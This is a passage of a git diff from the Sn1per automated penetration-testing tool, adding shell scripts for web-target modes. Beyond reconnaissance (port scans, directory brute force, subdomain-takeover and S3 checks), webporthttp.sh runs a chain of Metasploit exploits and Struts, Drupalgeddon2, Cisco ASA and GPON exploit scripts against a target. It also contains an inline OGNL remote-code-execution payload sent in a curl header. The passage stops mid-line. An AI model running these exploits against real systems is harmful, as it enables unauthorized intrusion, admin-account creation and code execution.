/tmp/curl.out 2> /dev/null + echo -e "$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/dns-$TARGET-email.txt 2>/dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst | tee $LOOT_DIR/nmap/aquatone-$TARGET-discover.txt 2>/dev/null + aquatone-takeover -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-takeovers.txt 2>/dev/null + aquatone-scan -d $TARGET -t 100 -p80,443 | tee $LOOT_DIR/nmap/aquatone-$TARGET-ports.txt 2>/dev/null + aquatone-gather -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-gather.txt 2>/dev/null + mkdir -p $LOOT_DIR/aquatone/ 2> /dev/null + cp -Rf ~/aquatone/$TARGET $LOOT_DIR/aquatone/ + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null + for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done; + if [ "$SUBOVER" = "1" ]; then + subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-subover.txt 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd $PLUGINS_DIR/slurp/ + ./slurp-linux-amd64 domain --domain $TARGET | tee $LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt 2>/dev/null + fi + cd $INSTALL_DIR + echo "" + fi + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt + + port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` + port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` + + if [ -z "$port_80" ]; + then + echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" + else + echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null + if [ "$PASSIVE_SPIDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u http://$TARGET -l 1 + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_QUICK -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null + fi + fi + + if [ -z "$port_443" ]; + then + echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" + else + echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null + if [ "$PASSIVE_SPIDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u http://$TARGET -l 1 + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_QUICK -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null + if [ "$SSL" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null + sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null + fi + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SCAN COMPLETE! $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + echo -e "" + rm -f $INSTALL_DIR/.fuse_* 2> /dev/null + if [ "$LOOT" = "1" ]; then + loot + fi + exit +fi \ No newline at end of file diff --git a/modes/web.sh b/modes/web.sh new file mode 100644 index 0000000..080ff48 --- /dev/null +++ b/modes/web.sh @@ -0,0 +1,21 @@ +# WEB MODE ############################################################################################################# +if [ "$MODE" = "web" ]; then + if [ "$REPORT" = "1" ]; then + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi +fi \ No newline at end of file diff --git a/modes/webporthttp.sh b/modes/webporthttp.sh new file mode 100644 index 0000000..ab9b6f5 --- /dev/null +++ b/modes/webporthttp.sh @@ -0,0 +1,260 @@ +# WEBPORTHTTP MODE ##################################################################################################### +if [ "$MODE" = "webporthttp" ]; then + if [ "$REPORT" = "1" ]; then + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE-$PORT-`date +%Y%m%d%H%M`.txt + sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[https://xerosecurity.com" + echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" + echo -e "" + echo -e "" + echo -e " ; , " + echo -e " ,; '. " + echo -e " ;: :; " + echo -e " :: :: " + echo -e " :: :: " + echo -e " ': : " + echo -e " :. : " + echo -e " ;' :: :: ' " + echo -e " .' '; ;' '. " + echo -e " :: :; ;: :: " + echo -e " ; :;. ,;: :: " + echo -e " :; :;: ,;\" :: " + echo -e " ::. ':; ..,.; ;:' ,.;: " + echo -e " \"'\"... '::,::::: ;: .;.;\"\"' " + echo -e " '\"\"\"....;:::::;,;.;\"\"\" " + echo -e " .:::.....'\"':::::::'\",...;::::;. " + echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; " + echo -e " ::' ;::;:::;::.. :; " + echo -e " :: ,;:::::::::::;:.. :: " + echo -e " ;' ,;;:;::::::::::::::;\";.. ':." + echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::" + echo -e " :. :: ::::::; ::::::: : ; " + echo -e " ; :: ::::::: ::::::: : ; " + echo -e " ' :: ::::::....:::::' ,: ' " + echo -e " ' :: :::::::::::::\" :: " + echo -e " :: ':::::::::\"' :: " + echo -e " ': \"\"\"\"\"\"\"' :: " + echo -e " :: ;: " + echo -e " ':; ;:\" " + echo -e " -hrr- '; ,;' " + echo -e " \"' '\" " + echo -e " ''''$RESET" + echo "" + echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml + port_http=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-http-$TARGET.xml | grep open` + if [ -z "$port_http" ]; then + echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" + else + echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f http://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-http-$PORT 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 http://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-http-$PORT 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET + if [ "$PASSIVE_SPIDER" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u http://$TARGET -l 3 -s y 2> /dev/null + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget http://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + clusterd -i $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wpscan --url http://$TARGET:$PORT --batch --disable-tls-checks + echo "" + wpscan --url http://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CMSMAP $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $CMSMAP -t http://$TARGET:$PORT + echo "" + python $CMSMAP -t http://$TARGET/wordpress/ + echo "" + if [ "$NIKTO" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nikto -h http://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-http-$PORT.txt + fi + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + clusterd -i $TARGET -p $PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; run; use scanner/http/webdav_website_content; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL false; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT 80; set WAIT 2; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 80; set SSL false; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT "$PORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u http://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u http://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://$TARGET:$PORT | head -n 1 + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2018-11776 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache-struts-CVE-2018-11776.py -u http://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + ruby $INSTALL_DIR/bin/drupalgeddon2.rb http://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/cisco-asa-traversal.py http://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:$PORT + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/gpon_rce.py 